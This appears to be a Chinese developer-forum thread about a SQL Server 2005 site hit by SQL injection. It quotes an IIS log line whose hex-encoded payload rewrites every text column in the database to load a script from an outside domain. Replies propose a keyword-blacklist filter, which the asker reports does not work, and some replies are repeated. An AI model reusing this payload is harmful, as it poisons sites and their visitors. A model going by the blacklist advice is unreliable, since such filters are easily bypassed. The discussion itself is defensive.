sql2005数据库被注入啦

时间:2022-03-18 20:02:33
IIS日志里查看的疑似注入代码,news.aspx页面不拼字符串,用sqlcommand里用 SqlParameter 设置参数,不知道能不能解决这个问题
有什么好的防注入方法

2009-07-20 11:28:37 59.108.226.211 GET /news.aspx id=1511;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f6f6b6d342e6f72672f7a2e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);-- 80 - 118.123.11.29 Mozilla/4.0 500 0 64

11 个解决方案

#1


操作数据库用存储过程,还可在global里设置
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "~/login.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{

for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{

}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec|insert|select|delete|master|update|truncate|declare";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if(Str.ToLower().IndexOf("updatepanel")<=0)
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}

#2


引用 1 楼 wuyq11 的回复:
操作数据库用存储过程,还可在global里设置
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "~/login.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{

for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{

}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec|insert|select|delete|master|update|truncate|declare";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if(Str.ToLower().IndexOf("updatepanel") <=0)
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}

Thank you

#3


 可以参看 SQL注入专题

#4


参数化,然后过滤关键字

#5


通过存储过程可以解决问题的

#6


To:wuyq11 1楼,这个是我global里的代码
<%@ Application Language="C#" %>

<script runat="server">

    void Application_Start(object sender, EventArgs e) 
    {
        //在应用程序启动时运行的代码

    }
    
    void Application_End(object sender, EventArgs e) 
    {
        //在应用程序关闭时运行的代码

    }
        
    void Application_Error(object sender, EventArgs e) 
    { 
        //在出现未处理的错误时运行的代码

    }

    void Session_Start(object sender, EventArgs e) 
    {
        //在新会话启动时运行的代码

    }

    void Session_End(object sender, EventArgs e) 
    {
        //在会话结束时运行的代码。 
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
        // InProc 时,才会引发 Session_End 事件。如果会话模式 
        //设置为 StateServer 或 SQLServer,则不会引发该事件。

    }
    //操作数据库用存储过程,还可在global里设置 
private void StartProcessRequest() 

try 

string getkeys = ""; 
string sqlErrorPage = "~/login.aspx"; 
if (System.Web.HttpContext.Current.Request.QueryString != null) 


for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++) 

getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i]; 
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys])) 

System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
System.Web.HttpContext.Current.Response.End(); 



if (System.Web.HttpContext.Current.Request.Form != null) 

for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++) 

getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i]; 
if (getkeys == "__VIEWSTATE") continue; 
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys])) 

System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
System.Web.HttpContext.Current.Response.End(); 




catch 




private bool ProcessSqlStr(string Str) 

bool ReturnValue = true; 
try 

if (Str.Trim() != "") 

string SqlStr = "exec|insert|select|delete|master|update|truncate|declare"; 
string[] anySqlStr = SqlStr.Split('|'); 
foreach (string ss in anySqlStr) 

if(Str.ToLower().IndexOf("updatepanel") <=0) 

if (Str.ToLower().IndexOf(ss) >= 0) 

ReturnValue = false; 
break; 





catch 

ReturnValue = false; 

return ReturnValue; 
}
       
</script>

#7


不管用呀

#8


是我注入的。

#9


sql2005数据库被注入啦

#10


看来你连最危险的几个字符都没过滤,譬如% ;

#11


关键字哦~

#1


操作数据库用存储过程,还可在global里设置
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "~/login.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{

for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{

}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec|insert|select|delete|master|update|truncate|declare";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if(Str.ToLower().IndexOf("updatepanel")<=0)
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}

#2


引用 1 楼 wuyq11 的回复:
操作数据库用存储过程,还可在global里设置
private void StartProcessRequest()
{
try
{
string getkeys = "";
string sqlErrorPage = "~/login.aspx";
if (System.Web.HttpContext.Current.Request.QueryString != null)
{

for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
if (System.Web.HttpContext.Current.Request.Form != null)
{
for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
{
getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
if (getkeys == "__VIEWSTATE") continue;
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
{
System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
System.Web.HttpContext.Current.Response.End();
}
}
}
}
catch
{

}
}
private bool ProcessSqlStr(string Str)
{
bool ReturnValue = true;
try
{
if (Str.Trim() != "")
{
string SqlStr = "exec|insert|select|delete|master|update|truncate|declare";
string[] anySqlStr = SqlStr.Split('|');
foreach (string ss in anySqlStr)
{
if(Str.ToLower().IndexOf("updatepanel") <=0)
{
if (Str.ToLower().IndexOf(ss) >= 0)
{
ReturnValue = false;
break;
}
}
}
}
}
catch
{
ReturnValue = false;
}
return ReturnValue;
}

Thank you

#3


 可以参看 SQL注入专题

#4


参数化,然后过滤关键字

#5


通过存储过程可以解决问题的

#6


To:wuyq11 1楼,这个是我global里的代码
<%@ Application Language="C#" %>

<script runat="server">

    void Application_Start(object sender, EventArgs e) 
    {
        //在应用程序启动时运行的代码

    }
    
    void Application_End(object sender, EventArgs e) 
    {
        //在应用程序关闭时运行的代码

    }
        
    void Application_Error(object sender, EventArgs e) 
    { 
        //在出现未处理的错误时运行的代码

    }

    void Session_Start(object sender, EventArgs e) 
    {
        //在新会话启动时运行的代码

    }

    void Session_End(object sender, EventArgs e) 
    {
        //在会话结束时运行的代码。 
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
        // InProc 时,才会引发 Session_End 事件。如果会话模式 
        //设置为 StateServer 或 SQLServer,则不会引发该事件。

    }
    //操作数据库用存储过程,还可在global里设置 
private void StartProcessRequest() 

try 

string getkeys = ""; 
string sqlErrorPage = "~/login.aspx"; 
if (System.Web.HttpContext.Current.Request.QueryString != null) 


for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++) 

getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i]; 
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys])) 

System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
System.Web.HttpContext.Current.Response.End(); 



if (System.Web.HttpContext.Current.Request.Form != null) 

for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++) 

getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i]; 
if (getkeys == "__VIEWSTATE") continue; 
if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys])) 

System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage); 
System.Web.HttpContext.Current.Response.End(); 




catch 




private bool ProcessSqlStr(string Str) 

bool ReturnValue = true; 
try 

if (Str.Trim() != "") 

string SqlStr = "exec|insert|select|delete|master|update|truncate|declare"; 
string[] anySqlStr = SqlStr.Split('|'); 
foreach (string ss in anySqlStr) 

if(Str.ToLower().IndexOf("updatepanel") <=0) 

if (Str.ToLower().IndexOf(ss) >= 0) 

ReturnValue = false; 
break; 





catch 

ReturnValue = false; 

return ReturnValue; 
}
       
</script>

#7


不管用呀

#8


是我注入的。

#9


sql2005数据库被注入啦

#10


看来你连最危险的几个字符都没过滤,譬如% ;

#11


关键字哦~